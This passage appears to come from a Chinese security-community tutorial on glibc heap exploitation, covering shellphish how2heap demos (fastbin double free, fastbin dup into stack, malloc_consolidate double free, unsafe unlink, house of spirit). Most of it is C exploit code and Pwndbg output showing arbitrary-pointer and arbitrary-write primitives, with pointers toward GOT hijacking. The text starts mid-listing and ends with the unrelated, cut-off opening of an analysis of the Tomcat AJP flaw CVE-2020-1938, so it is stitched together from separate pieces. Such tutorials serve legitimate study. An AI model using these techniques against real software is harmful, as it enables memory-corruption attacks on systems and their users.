18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 //free(a);
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
然后重新编译。`gcc -g -no-pie fastbin_dup.c -o fastbin_dup` 并上调试器。
首先程序 malloc 了三个 chunk 。
Pwndbg> heap
Top Chunk: 0x602060
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x602040 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x20fa1
}
0x602060 PREV_INUSE {
prev_size = 0x0,
size = 0x20fa1,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后 free(a)
15 fprintf(stderr, "3rd malloc(8): %p\n", c);
16
17 fprintf(stderr, "Freeing the first one...\n");
► 18 free(a);
19
20 fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
21 //free(a);
free(b)
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
► 26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
27 free(a);
这个时候，fastbin 形成一个 fastbin freelist
Pwndbg> fastbins
fastbins
0x20: 0x602020 —▸ 0x602000 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
chunk A ---> chunk B
然后我们再把 a free 一次
22
23 fprintf(stderr, "So, instead, we'll free %p.\n", b);
24 free(b);
25
26 fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
► 27 free(a);
28
29 fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
30 fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
31 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
32 fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
我们发现这次并没有发生报错。形成了如下的 free list。
Pwndbg> fastbins
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
————— ————— —————
|Chunk A| -> |chunk B| -->| chunk A|
————— ————— —————
/\ |
| ------------- -------
大概如上个图，这样我们就成功绕过了 fastbins 的double free检查。原因如下：
fastbins 可以看成一个 LIFO 的栈，使用单链表实现，通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free
list 做检查，我们不能连续两次 free 同一个 chunk，所以这里在两次 free 之间，增加了一次对其他 chunk 的 free
过程，从而绕过检查顺利执行。然后再 malloc 三次，就在同一个地址 malloc 了两次，也就有了两个指向同一块内存区域的指针。
### 0x3 fastbin_dup_into_stack
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file extends on fastbin_dup.c by tricking malloc into\n"
"returning a pointer to a controlled location (in this case, the stack).\n");
unsigned long long stack_var;
fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);
fprintf(stderr, "Allocating 3 buffers.\n");
int *a = malloc(8);
int *b = malloc(8);
int *c = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", a);
fprintf(stderr, "2nd malloc(8): %p\n", b);
fprintf(stderr, "3rd malloc(8): %p\n", c);
fprintf(stderr, "Freeing the first one...\n");
free(a);
fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
// free(a);
fprintf(stderr, "So, instead, we'll free %p.\n", b);
free(b);
fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
free(a);
fprintf(stderr, "Now the free list has [ %p, %p, %p ]. "
"We'll now carry out our attack by modifying data at %p.\n", a, b, a, a);
unsigned long long *d = malloc(8);
fprintf(stderr, "1st malloc(8): %p\n", d);
fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
fprintf(stderr, "Now the free list has [ %p ].\n", a);
fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
"so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
"so that malloc will think there is a free chunk there and agree to\n"
"return a pointer to it.\n", a);
stack_var = 0x20;
fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}
通用的，编译后我们 gdb 挂载程序。
程序通用 malloc 了三个 chunk,紧接着通过 fastbin double free 的操作形成了如下freelist。
Pwndbg> fastbins
fastbins
0x20: 0x603000 —▸ 0x603020 ◂— 0x603000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
然后呢 我再malloc chunk d
36 unsigned long long *d = malloc(8);
37
38 fprintf(stderr, "1st malloc(8): %p\n", d);
39 fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
40 fprintf(stderr, "Now the free list has [ %p ].\n", a);
► 41 fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
42 "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
43 "so that malloc will think there is a free chunk there and agree to\n"
44 "return a pointer to it.\n", a);
45 stack_var = 0x20;
这个时候 程序会从 fastbins 里取一个，由于fastbins 是 LIFO （Last in First out）。 chunk A
会被取出使用。倘若我们这个时候能对 chunk D 进行操作，如 `d = (unsigned long long)
(((char*)&stack_var) - sizeof(d));` 由于 `stack_var =
0x20;`这样的定义是在函数内，所以`stack_var`的地址将在栈上，通过对指针 **d** 的操作，我们可以伪造一个 chunk ，并将这个
chunk 放在栈上。
Pwndbg> x/20a 0x603000
0x603000: 0x0 0x21
0x603010: 0x7fffffffe388 0x0
0x603020: 0x0 0x21
0x603030: 0x603000 0x0
0x603040: 0x0 0x21
0x603050: 0x0 0x0
0x603060: 0x0 0x20fa1
0x603070: 0x0 0x0
0x603080: 0x0 0x0
0x603090: 0x0 0x0
Pwndbg> x/20a 0x7fffffffe388
0x7fffffffe388: 0x40097c <main+758> 0x20
0x7fffffffe398: 0x603010 0x603030
0x7fffffffe3a8: 0x603050 0x603010
0x7fffffffe3b8: 0xc3e158ae04ceee00 0x4009a0 <__libc_csu_init>
0x7fffffffe3c8: 0x7ffff7a303f1 <__libc_start_main+241> 0x40000
0x7fffffffe3d8: 0x7fffffffe4a8 0x1f7b9a488
0x7fffffffe3e8: 0x400686 <main> 0x0
0x7fffffffe3f8: 0x4ffa6e8ae3316c56 0x400590 <_start>
0x7fffffffe408: 0x7fffffffe4a0 0x0
0x7fffffffe418: 0x0 0xb00591f537d16c56
Pwndbg> stack 10
00:0000│ rsp 0x7fffffffe390 ◂— 0x20 /* ' ' */
01:0008│ 0x7fffffffe398 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
02:0010│ 0x7fffffffe3a0 —▸ 0x603030 —▸ 0x603000 ◂— 0x0
03:0018│ 0x7fffffffe3a8 —▸ 0x603050 ◂— 0x0
04:0020│ 0x7fffffffe3b0 —▸ 0x603010 —▸ 0x7fffffffe388 —▸ 0x40097c (main+758) ◂— 0x4d8b4800000000b8
05:0028│ 0x7fffffffe3b8 ◂— 0xc3e158ae04ceee00
06:0030│ rbp 0x7fffffffe3c0 —▸ 0x4009a0 (__libc_csu_init) ◂— 0x41ff894156415741
07:0038│ 0x7fffffffe3c8 —▸ 0x7ffff7a303f1 (__libc_start_main+241) ◂— mov edi, eax
08:0040│ 0x7fffffffe3d0 ◂— 0x40000
09:0048│ 0x7fffffffe3d8 —▸ 0x7fffffffe4a8 —▸ 0x7fffffffe6ea ◂— 0x77732f656d6f682f ('/home/sw')
`stack_var = 0x20;` 是由于伪造的 chunk 要由 设置size，size的位置位于 地址-0x8的地方。
➜ glibc_2.25 git:(master) ✗ ./fastbin_dup_into_stack
This file extends on fastbin_dup.c by tricking malloc into
returning a pointer to a controlled location (in this case, the stack).
The address we want malloc() to return is 0x7fff02a085c8.
Allocating 3 buffers.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
3rd malloc(8): 0x146b050
Freeing the first one...
If we free 0x146b010 again, things will crash because 0x146b010 is at the top of the free list.
So, instead, we'll free 0x146b030.
Now, we can free 0x146b010 again, since it's not the head of the free list.
Now the free list has [ 0x146b010, 0x146b030, 0x146b010 ]. We'll now carry out our attack by modifying data at 0x146b010.
1st malloc(8): 0x146b010
2nd malloc(8): 0x146b030
Now the free list has [ 0x146b010 ].
Now, we have access to 0x146b010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x146b010 to point right before the 0x20.
3rd malloc(8): 0x146b010, putting the stack address on the free list
4th malloc(8): 0x7fff02a085c8
最后效果如上，我们发现当 chunk a 被拿出来后,由于我们伪造了chunk a 的 fd，造成如下效果。
Pwndbg> fastbins
fastbins
0x20: 0x603000 —▸ 0x7fffffffe388 —▸ 0x603010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
这个时候形成如上的链表结构，这个时候当我们再 malloc 一块内存的时候，系统会误以为 是我们 fake 的chunk是free的。他会把这块 chunk
拿出来用。
Pwndbg> heap
Top Chunk: 0x603060
Last Remainder: 0
0x603000 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x7fffffffe388,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
0x603020 FASTBIN {
prev_size = 0x0,
size = 0x21,
fd = 0x603000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x21
}
小结：对于 fastbins，可以通过 double-free 覆盖 fastbins 的结构，来获得一个指向任意地址的指针。如果我们把这个地址指向 got
地址，如果我们可对 chunk 进行写或者读操作，我们就有了任意地址写 和 任意地址读。
### 0x04 fastbin_dup_consolidate
我们上一条 0x02 介绍了一个 fast double free 的绕过机制，通过在free 同一个 chunk中的中间插入对另外一个chunk
的free。
free(p1);
free(p2);
free(p1);
这里 shellphish 向我们展示了 large bin 中 mallo_consolidata 机制 fast 对double free 的检查
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);
void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}
同样的编译后 gdb 挂载运行。
首先是两个malloc
Pwndbg> heap
Top Chunk: 0x6020a0
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x20f61,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
然后释放 p 1,讲他加入到 fastbins中
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> heap
当我们在中插入 `malloc(0x400)` 创建一个 large bins的时候。
* * *
large bins
chunk 的指针数组, 每个元素是一条 双向循环链表的头部, 但同一条链表中块的大小不一 定相同, 按照从大到小的顺序排列, 每个 bin 保存一定
大小范围的块。主要保存大小 1024 字节以上的块。
* * *
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> small bins
No symbol "bins" in current context.
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 —▸ 0x7ffff7dd1b98 (main_arena+152) ◂— 0x602000
我们会发现 原本在 fastbins 的 chunk p1 跑到了 small bins 里。而且 chunk p2 的prev_size
和size字段都被修改了
Pwndbg> heap
Top Chunk: 0x6024b0
Last Remainder: 0
0x602000 FASTBIN {
prev_size = 0x0,
size = 0x51,
fd = 0x7ffff7dd1b98 <main_arena+152>,
bk = 0x7ffff7dd1b98 <main_arena+152>,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x602050 {
prev_size = 0x50,
size = 0x50,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6020a0 PREV_INUSE {
prev_size = 0x0,
size = 0x411,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x6024b0 PREV_INUSE {
prev_size = 0x0,
size = 0x20b51,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
我们可以看看 large bin的分配
/*
If this is a large request, consolidate fastbins before continuing.
While it might look excessive to kill all fastbins before
even seeing if there is space available, this avoids
fragmentation problems normally associated with fastbins.
Also, in practice, programs tend to have runs of either small or
large requests, but less often mixtures, so consolidation is not
invoked all that often in most programs. And the programs that
it is called frequently in otherwise tend to fragment.
*/
else
{
idx = largebin_index (nb);
if (have_fastchunks (av))
malloc_consolidate (av);
}
当分配 large chunk 时，首先根据 chunk 的大小获得对应的 large bin 的 index，接着判断当前分配区的 fast bins
中是否包含 chunk，如果有，调用 malloc_consolidate() 函数合并 fast bins 中的 chunk，并将这些空闲 chunk
加入 unsorted bin 中。因为这里分配的是一个 large chunk，所以 unsorted bin 中的 chunk 按照大小被放回
small bins 或 large bins 中。这个时候我们就可以再次释放 p1
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x602000 ◂— 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
Pwndbg> smallbins
smallbins
0x20: 0x7ffff7dd1b68 (main_arena+104) ◂— 0x7ffff7dd1b68
0x30: 0x7ffff7dd1b78 (main_arena+120) ◂— 0x7ffff7dd1b78
0x40: 0x7ffff7dd1b88 (main_arena+136) ◂— 0x7ffff7dd1b88
0x50: 0x602000 ◂— 0x0
这个时候，我们既有fastbins中的 chunk p1 也有small bins 的chunk
p2。我们可以malloc两次，第一次从fastbins取出，第二次从small bins中取出。且这两块新 chunk 处于同一个位置。
Allocated two fastbins: p1=0x220a010 p2=0x220a060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x220a0b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x220a010 0x220a010
### 0x05 unsafe_unlink
Exploiting free on a corrupted chunk to get arbitrary write.
利用 free 改写全局指针 chunk0_ptr 达到任意内存写的目的，即 unsafe unlink。
首先我们创建两个chunk 分别为chunk_0 和chunk_1
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <- chunk 0
0x603020: 0x0000000000000000 0x0000000000000000
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <- chunk 1
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
紧接着我们假设这个时候我们有堆溢出，可以对chunk 0 进行修改，我们伪造个chunk。由于有`P->fd->bk != P || P->bk->fd
!= P)` 这样的检查。我们可以利用全局指针 `chunk0_ptr` 构造 fake chunk 来绕过它：
我们伪造 fake chunk 的fd 为 `chunk0_ptr[2] = (uint64_t)
&chunk0_ptr-(sizeof(uint64_t)*3);`
我们伪造 fake chunk 的bk 为`chunk0_ptr[3] = (uint64_t)
&chunk0_ptr-(sizeof(uint64_t)*2);`
这个时候
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091 <-- chunk 0
0x603010: 0x0000000000000000 0x0000000000000000 <-- fake chunk
0x603020: 0x0000000000602058 0x0000000000602060 fd ,bk
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000000 0x0000000000000091 <-- chunk 1 <-- prev_size
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
Pwndbg> x/5gx 0x0000000000602058
0x602058: 0x0000000000000000 0x00007ffff7dd2520 <-- fake chunk FD
0x602068 <completed.7557>: 0x0000000000000000 0x0000000000603010 <-- bk pointer
0x602078: 0x0000000000000000
Pwndbg> x/5gx 0x0000000000602060
0x602060 <stderr@@GLIBC_2.2.5>: 0x00007ffff7dd2520 0x0000000000000000 <-- fake chunk BK
0x602070 <chunk0_ptr>: 0x0000000000603010 0x0000000000000000 <-- fd pointer
0x602080: 0x0000000000000000
Pwndbg> heap
这样就就会变成我 fake chunk 的 FD 块的bk指向 fake chunk， fake chunk 的BK 块 的fd指向fake chunk
，这样就能绕过检查。
另外利用 chunk0 的溢出漏洞，通过修改 chunk 1 的 `prev_size` 为 fake chunk 的大小，修改 `PREV_INUSE`
标志位为 0，将 fake chunk 伪造成一个 free chunk。
* * *
libc 使用 size 域的最低 3 位来 存储一些其它信息。相关的掩码信息定义如下:
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4
从以上代码定义可以推断, size域的最低位表示 此块的上一块(表示连续内存中的上一块)是否在使 用状态, 如果此位为 0 则表示上一块为被释放的块,
这个时候此块的 PREV_SIZE 域保存的是上一块的地 址以便在 free 此块时能够找到上一块的地址并进行 合并操作。第 2 位表示此块是否由 mmap
分配, 如果 此位为 0 则此块是由 top chunk 分裂得来, 否则是由 mmap 单独分配而来。第 3 位表示此块是否不属于 main_arena
* * *
Pwndbg> x/40gx 0x603000-0x10
0x602ff0: 0x0000000000000000 0x0000000000000000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x0000000000602060
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
这样，我们去free chunk1，这个时候系统会检测到 fake chunk是释放状态，会触发 unlink ，fake chunk会向后合并，
chunk0会被吞并。
unlink 的操作如下：
FD = P->fd;
BK = P->bk;
FD->bk = BK
BK->fd = FD
根据 fd 和 bk 指针在 malloc_chunk 结构体中的位置，这段代码等价于：
FD = P->fd = &P - 24
BK = P->bk = &P - 16
FD->bk = *(&P - 24 + 24) = P
BK->fd = *(&P - 16 + 16) = P
这样就通过了 unlink 的检查，最终效果为：
FD->bk = P = BK = &P - 16
BK->fd = P = FD = &P - 24
最后原本指向堆上 fake chunk 的指针 P 指向了自身地址减 24
的位置,这就意味着如果我们能对堆P进行写入，则就有了任意内存写。如果我们能对堆P进行读取，则就有了信息泄露。
在这个例子中，最后chunk0_ptr 和chunk0_ptr[3]
指向的地方是一样的。相对我们如果对chunk0_ptr[3]修改，也是对chunk0_ptr进行了修改。
在程序中，程序先对chunk0_ptr[3]进行了修改，让它指向了`victim_string` 字符串的指针。
50 strcpy(victim_string,"Hello!~");
► 51 chunk0_ptr[3] = (uint64_t) victim_string;
（如果这个地址是 got 表地址，我们紧接着就可以 进行 劫持 got 的操作。）
Pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x0000000000000000 0x0000000000000000
0x603020: 0x0000000000602058 0x00007fffffffe3d0
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
Pwndbg> p chunk0_ptr
$8 = (uint64_t *) 0x603010
然后我们对 **chunk0_ptr** 进行操作，就能得到一个地址写。
Pwndbg> x/40gx 0x603000
0x603000: 0x0000000000000000 0x0000000000000091
0x603010: 0x4141414142424242 0x0000000000000000
0x603020: 0x0000000000602058 0x00007fffffffe3d0
0x603030: 0x0000000000000000 0x0000000000000000
0x603040: 0x0000000000000000 0x0000000000000000
0x603050: 0x0000000000000000 0x0000000000000000
0x603060: 0x0000000000000000 0x0000000000000000
0x603070: 0x0000000000000000 0x0000000000000000
0x603080: 0x0000000000000000 0x0000000000000000
0x603090: 0x0000000000000080 0x0000000000000090
0x6030a0: 0x0000000000000000 0x0000000000000000
0x6030b0: 0x0000000000000000 0x0000000000000000
0x6030c0: 0x0000000000000000 0x0000000000000000
0x6030d0: 0x0000000000000000 0x0000000000000000
0x6030e0: 0x0000000000000000 0x0000000000000000
0x6030f0: 0x0000000000000000 0x0000000000000000
0x603100: 0x0000000000000000 0x0000000000000000
0x603110: 0x0000000000000000 0x0000000000000000
0x603120: 0x0000000000000000 0x0000000000020ee1
0x603130: 0x0000000000000000 0x0000000000000000
Pwndbg> x/gx chunk0_ptr
0x603010: 0x4141414142424242
Pwndbg>
总结下，如果我们找到一个全局指针，通过unlink的手段，我们就构造一个chunk指向这个指针所指向的位置，然后通过对chunk的操作来进行读写操作。
### 0x06 house_of_spirit
Frees a fake fastbin chunk to get malloc to return a nearly-arbitrary pointer.
通过构造 fake chunk，然后将其 free 掉，就可以在下一次 malloc 时返回 fake chunk 的地址。
**house of spirit** 通常用来配合栈溢出使用,通常场景是，栈溢出无法覆盖到的 EIP ，而恰好栈中有一个即将被 free
的堆指针。我们通过在栈上 fake 一个fastbin chunk 接着在 free 操作时，这个栈上的堆块被放到 fast bin 中，下一次
malloc 对应的大小时，由于 fast bin
的先进后出机制，这个栈上的堆块被返回给用户，再次写入时就可能造成返回地址的改写。所以利用的第一步不是去控制一个 chunk，而是控制传给 free
函数的指针，将其指向一个 fake chunk。所以 fake chunk 的伪造是关键。
fake_chunks[1] = 0x40; // this is the size
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize
伪造情况如下：
Pwndbg> p fake_chunks
$4 = {0xc2, 0x40, 0x7fffffffe3ae, 0x7ffff7ababe5, 0x1, 0x4008ed, 0x0, 0x0, 0x4008a0, 0x1234}
Pwndbg> p &fake_chunks
$5 = (unsigned long long (*)[10]) 0x7fffffffe370
其中 0x40 是chunk size，0x1234 是 nextsize。伪造 chunk 时需要绕过一些检查，首先是标志位，`PREV_INUSE`
位并不影响 free 的过程，但 `IS_MMAPPED` 位和 `NON_MAIN_ARENA` 位都要为零。其次，在 64 位系统中 fast
chunk 的大小要在 32~128 字节之间。最后，是 next chunk 的大小，必须大于 `2*SIZE_SZ`（即大于16），小于
`av->system_mem`（即小于128kb），才能绕过对 next chunk 大小的检查。
* * *
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4
size域的最低位表示 此块的上一块(表示连续内存中的上一块)是否在使 用状态, 如果此位为 0 则表示上一块为被释放的块, 这个时候此块的
PREV_SIZE 域保存的是上一块的地 址以便在 free 此块时能够找到上一块的地址并进行 合并操作。第 2 位表示此块是否由 mmap 分配, 如果
此位为 0 则此块是由 top chunk 分裂得来, 否则是由 mmap 单独分配而来。第 3 位表示此块是否不属于 main_arena,
在之后会提到main_arena是主线程用于保存堆状态的结构, 如果此位为 0 则表示此块是在 主线程中分配的
* * *
然后我们修改指针 a 指向fake chunk
23 // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
24 fake_chunks[9] = 0x1234; // nextsize
25
26 fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
27 fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
► 28 a = &fake_chunks[2];
29
30 fprintf(stderr, "Freeing the overwritten pointer.\n");
31 free(a);
32
33 fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
修改后如下：
Pwndbg> p a
$11 = (unsigned long long *) 0x7fffffffe380--> $9 = (unsigned long long **) 0x7fffffffe368
成功指向了 fake chunk。当我free a的时候，系统会将 fake chunk 当做一块fastbins
处理，放到fastbins数组里。当我们再malloc的时候。我们就得到一块指向 stack 的 chunk。
Pwndbg> fastbins
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x7fffffffe370 ◂— 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
* * 这时如果我们 malloc 一个对应大小的 fast chunk，程序将从 fastbins 中分配出这块被释放的 chunk。
Pwndbg> x/10gx &fake_chunks
0x7fffffffe370: 0x00000000000000c2 0x0000000000000040
0x7fffffffe380: 0x0000000000000000 0x00007ffff7ababe5
0x7fffffffe390: 0x0000000000000001 0x00000000004008ed
0x7fffffffe3a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe3b0: 0x00000000004008a0 0x0000000000001234
所以 house-of-spirit 的主要目的是，当我们伪造的 fake chunk
内部存在不可控区域时，运用这一技术可以将这片区域变成可控的。上面为了方便观察，在 fake chunk
里填充一些字母，但在现实中这些位置很可能是不可控的，而 house-of-spirit 也正是以此为目的而出现的。
该技术的缺点也是需要对栈地址进行泄漏，否则无法正确覆盖需要释放的堆指针，且在构造数据时，需要满足对齐的要求等。 | 社区文章 |
**作者：启明星辰ADLab
原文链接：<https://mp.weixin.qq.com/s/v3EQw4xaE4QTbvEwkfHz9w>**
# **一、漏洞概述**
2020年2月20日，国家信息安全漏洞共享平台（CNVD）发布关于Apache Tomcat的安全公告，Apache
Tomcat文件包含漏洞（CNVD-2020-10487，对应CVE-2020-1938）。Tomcat
AJP协议由于存在实现缺陷导致相关参数可控，攻击者利用该漏洞可通过构造特定参数，读取服务器webapp下的任意文件。若服务器端同时存在文件上传功能，攻击者可进一步实现远程代码的执行。
# **二、漏洞分析**
通过对Apache
Tomcat源码进行分析，发现Tomcat在处理ajp协议时存在漏洞，可通过调用request.setAttribute为Tomcat设置任意request属性，如下图所示：
